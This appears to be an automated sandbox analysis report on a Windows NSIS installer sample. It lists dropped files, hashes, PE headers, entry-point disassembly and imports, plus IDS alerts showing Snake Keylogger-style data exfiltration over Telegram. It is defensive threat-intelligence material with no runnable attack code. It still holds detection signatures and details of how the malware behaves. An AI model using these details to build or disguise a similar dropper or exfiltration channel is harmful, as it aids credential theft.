Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	low
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\Antndelsens\prepares.pli

Download File

Process:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Reputation:	low
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Iw\Antndelsens\waister.Kni

Download File

Process:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
File Type:	data
Category:	dropped
Size (bytes):	59352
Entropy (8bit):	4.6055171720025925
Encrypted:	false
SSDEEP:	768:GaBwstm76l/QgRRh0RyVJj0/EERsGjtk8/9HVmbS4wvoVgZupFunmRUR:GaBwsUqYgDCRyVJj0xygLt+LPFuX
MD5:	7C9411EA91E482DC1E0429DC4A724C1E
SHA1:	7A5C47AA7E18CBE7338A36745E2ED3FBDA72C151
SHA-256:	E459DA34252A72CCC523B3D09993BDA16AF7E31D590326B2AAB908331C64C659
SHA-512:	E856CFC763EC98A14E5557805403B1754B1C05D3C2893D0A50F8D4EE2553E00BE69CB01DCD922F3B415BD882005312412B8BE14A0FBA268DB530C30C147162F5
Malicious:	false
Preview:	.........../....................w..........................VVVV.........}...S.....8...............>...........T......1111..h.?......aa.......>>.................(((.................AA...1.......................8888.........ccccc.1......................?...............JJ.....4.F................................"...CC.FFFFF...........i............mmm.....m......0000.####.RRR......z.....8..........m..BBB..jj....9.....}}.......R.......................aaaaaa.............t...............!!...........{{.777..............+.'''''''.."...................)).<..u.............[............<...s.,,,,....YYYYYYYYY...e.......JJJJ.........................................<<...O..........bbbbb.^^........z..G.....................F....ccc...A.........................EEEEE....)........k..@.ooo....TTTT...2222..................-........&&.........i.yy.}.......K....BBB.............C.t.!!!..........I...iiii..cccc.................]...555........OOO...MM..............{{..............V...m..............u.......I...n

C:\Users\user\AppData\Local\Iw\Zeuzerian.Sol65

Download File

Process:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
File Type:	data
Category:	dropped
Size (bytes):	277278
Entropy (8bit):	7.7629865827998215
Encrypted:	false
SSDEEP:	6144:RK/S7x2KE2b09WfTNPuGX8PrnIxn/fsg6o+H:RK/St2KLb6WfTNP7X8zI5/Ug6oK
MD5:	C393EAC7881EDF25C455E93EFE022FDD
SHA1:	C976E3FCA0837E58EB1AD7EA829329193F8A04A3
SHA-256:	964FBE933545B89BB329C71560812ECCBF9851E4A6232AED3B81EC0FD8F77E4B
SHA-512:	41BAB80A1D4669FBAA24853B00063DE922F6E3DE81389D0FB45594A734449874DB08F541EC45C10F5A54BFC0F0F106AFE3D8CF050A79C15AA2B332636E7CC724
Malicious:	false
Preview:	.......7.g......w...nnn...............<<..K.............................+++....yyyy......GG.............///................M.....................].nnn.=......................./.LL.&..d.............z...]....................r...NNNNNNNNNNN..99..G....HHH.....]].............K......N...............y..................bb....................66.....##.I..bb.....-....KK..................f............................NNN....4..`........!!!!!!.....................#....../..m.......................rrrr.K......................yy.,.pp....\.x..e......gggg.....................22.33...........................>>>>>................;;.S...x.@@@....y..........xx.................ll.V.........___.............5...JJJJ.k......k........................B.E.....EEE............^..................................**..............u.MMM........\.......\|\|.................))...,.......w.................]]...................JJJJ.................)..........PPP..............RRR...tttt...U....{{{.nn..........ee..v..TT.@.6....

C:\Users\user\AppData\Local\Temp\nsgC0DB.tmp

Download File

Process:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1461253
Entropy (8bit):	5.480995253366477
Encrypted:	false
SSDEEP:	24576:Qt2KzfTNP7Xy2/Ug6oZo3xX3y4bz2lWwWo6rSTZyM:xKzfTtD38gHZoBXbz2luo6rS1yM
MD5:	D77F1BC7FDBEB6091CD500766A08797C
SHA1:	A00176ABC94B46C5AD40020795DDD02C04C0DF3C
SHA-256:	602931BA074065C34F5FEC7B94D7D3A2F6536763C8756511BADD4FC7969320E2
SHA-512:	529246201A153F78CACEB572C67CB7C14EA68FA9832D0CE48CAE7643DFE42AE76544CC34281BD0860C61CC1927ADD471F72D36B6A92AB2487B711D3BF92BE02C
Malicious:	false
Preview:	P6......,.......,.......\........!.......5.......6..........................M...i............................H..............................................................................................................................................................................G...J...............h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 4UQ5wnI389.exe, Detection: malicious, Browse Filename: ajRZflJ2ch.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: KO0q4biYfC.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Pralevia Setup 1.0.0.exe, Detection: malicious, Browse Filename: Pralevia Setup 1.0.0.exe, Detection: malicious, Browse Filename: NativeApp_G5L1NHZZ.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.958945220389528
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xXUnP7uCBJ.exe
File size:	1'007'802 bytes
MD5:	37caf3903448f4b7d38a4d8e180f54dd
SHA1:	97ce4432b6d1220fad4b622bbefdf8c43d3d02ca
SHA256:	95125d2296df5f467e524ca8978bbe74f0f3ce9520f6014d7a7172b2d7c29f86
SHA512:	0d74b65eb09923f623a19fd1478dff22eb7b871bb30c511585b0a433df8521784d28138805f3973275c4aa4e6b998dbebd5eef3e7b7750c73708f9d729425de2
SSDEEP:	24576:9jwKCN0pPVZUK9S85r80u7ZiJH6uaYiIEv:V1CqpNGqf+dFiEV9IEv
TLSH:	1C2523013AE2E633C09CE5F4BD5199193F6DEE436837851723201EAD3E32BC65E256E6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007F44A4940BD3h
push ebx
call 00007F44A4943E9Dh
cmp eax, ebx
je 00007F44A4940BC9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F44A4943E17h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F44A4940BACh
push 0000000Ah
call 00007F44A4943E70h
push 00000008h
call 00007F44A4943E69h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007F44A4943E5Dh
cmp eax, ebx
je 00007F44A4940BD1h
push 0000001Eh
call eax
test eax, eax
je 00007F44A4940BC9h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:41:04.978467+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49785	142.250.181.238	443	TCP
2025-01-10T21:41:09.855799+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49819	193.122.6.168	80	TCP
2025-01-10T21:41:16.746397+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49819	193.122.6.168	80	TCP
2025-01-10T21:41:17.415525+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49867	149.154.167.220	443	TCP
2025-01-10T21:41:17.793698+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49867	149.154.167.220	443	TCP
2025-01-10T21:41:18.668334+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49875	193.122.6.168	80	TCP
2025-01-10T21:41:19.224861+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49880	149.154.167.220	443	TCP
2025-01-10T21:41:19.687049+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49880	149.154.167.220	443	TCP
2025-01-10T21:41:21.006084+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49891	149.154.167.220	443	TCP
2025-01-10T21:41:21.485754+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49891	149.154.167.220	443	TCP
2025-01-10T21:41:22.756876+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49904	149.154.167.220	443	TCP
2025-01-10T21:41:23.161952+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49904	149.154.167.220	443	TCP
2025-01-10T21:41:24.655050+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49917	149.154.167.220	443	TCP
2025-01-10T21:41:24.917668+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49917	149.154.167.220	443	TCP
2025-01-10T21:41:26.262843+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49929	149.154.167.220	443	TCP
2025-01-10T21:41:26.614738+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49929	149.154.167.220	443	TCP
2025-01-10T21:41:27.913903+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49942	149.154.167.220	443	TCP
2025-01-10T21:41:28.223995+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49942	149.154.167.220	443	TCP
2025-01-10T21:41:29.890487+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49955	149.154.167.220	443	TCP
2025-01-10T21:41:30.314610+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49955	149.154.167.220	443	TCP
2025-01-10T21:41:31.567980+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49965	149.154.167.220	443	TCP
2025-01-10T21:41:31.879631+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49965	149.154.167.220	443	TCP
2025-01-10T21:41:33.138548+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49977	149.154.167.220	443	TCP
2025-01-10T21:41:33.495391+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49977	149.154.167.220	443	TCP
2025-01-10T21:41:34.875730+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49989	149.154.167.220	443	TCP
2025-01-10T21:41:35.188701+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49989	149.154.167.220	443	TCP
2025-01-10T21:41:36.530641+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50001	149.154.167.220	443	TCP
2025-01-10T21:41:36.757896+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50001	149.154.167.220	443	TCP
2025-01-10T21:41:38.043435+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50006	149.154.167.220	443	TCP
2025-01-10T21:41:38.364189+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50006	149.154.167.220	443	TCP
2025-01-10T21:41:39.657095+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50008	149.154.167.220	443	TCP
2025-01-10T21:41:40.055332+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50008	149.154.167.220	443	TCP
2025-01-10T21:41:41.352591+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50010	149.154.167.220	443	TCP
2025-01-10T21:41:41.697330+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50010	149.154.167.220	443	TCP
2025-01-10T21:41:43.109284+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50012	149.154.167.220	443	TCP
2025-01-10T21:41:43.436345+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50012	149.154.167.220	443	TCP
2025-01-10T21:41:44.746178+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50014	149.154.167.220	443	TCP
2025-01-10T21:41:45.015846+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50014	149.154.167.220	443	TCP
2025-01-10T21:41:46.294566+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50016	149.154.167.220	443	TCP
2025-01-10T21:41:47.639350+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50016	149.154.167.220	443	TCP
2025-01-10T21:41:48.959134+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50018	149.154.167.220	443	TCP
2025-01-10T21:41:49.349565+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50018	149.154.167.220	443	TCP
2025-01-10T21:41:50.630293+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50020	149.154.167.220	443	TCP
2025-01-10T21:41:50.928807+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50020	149.154.167.220	443	TCP
2025-01-10T21:41:52.194413+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50022	149.154.167.220	443	TCP
2025-01-10T21:41:52.471215+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50022	149.154.167.220	443	TCP
2025-01-10T21:41:53.768230+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50024	149.154.167.220	443	TCP
2025-01-10T21:41:53.992976+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50024	149.154.167.220	443	TCP
2025-01-10T21:41:55.294687+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50026	149.154.167.220	443	TCP
2025-01-10T21:41:55.601059+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50026	149.154.167.220	443	TCP
2025-01-10T21:41:56.863743+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50028	149.154.167.220	443	TCP
2025-01-10T21:41:57.166640+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50028	149.154.167.220	443	TCP
2025-01-10T21:41:58.487650+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50030	149.154.167.220	443	TCP
2025-01-10T21:41:58.844952+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50030	149.154.167.220	443	TCP
2025-01-10T21:42:00.308605+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50032	149.154.167.220	443	TCP
2025-01-10T21:42:00.554468+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50032	149.154.167.220	443	TCP
2025-01-10T21:42:01.891414+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50034	149.154.167.220	443	TCP
2025-01-10T21:42:02.309175+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50034	149.154.167.220	443	TCP
2025-01-10T21:42:03.586916+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50036	149.154.167.220	443	TCP
2025-01-10T21:42:03.939152+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50036	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:41:03.770004034 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:03.770046949 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:03.770143986 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:03.783288002 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:03.783322096 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:04.574706078 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:04.574775934 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:04.575809002 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:04.575910091 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:04.671637058 CET	49785	443	192.168.2.8	142.250.181.238
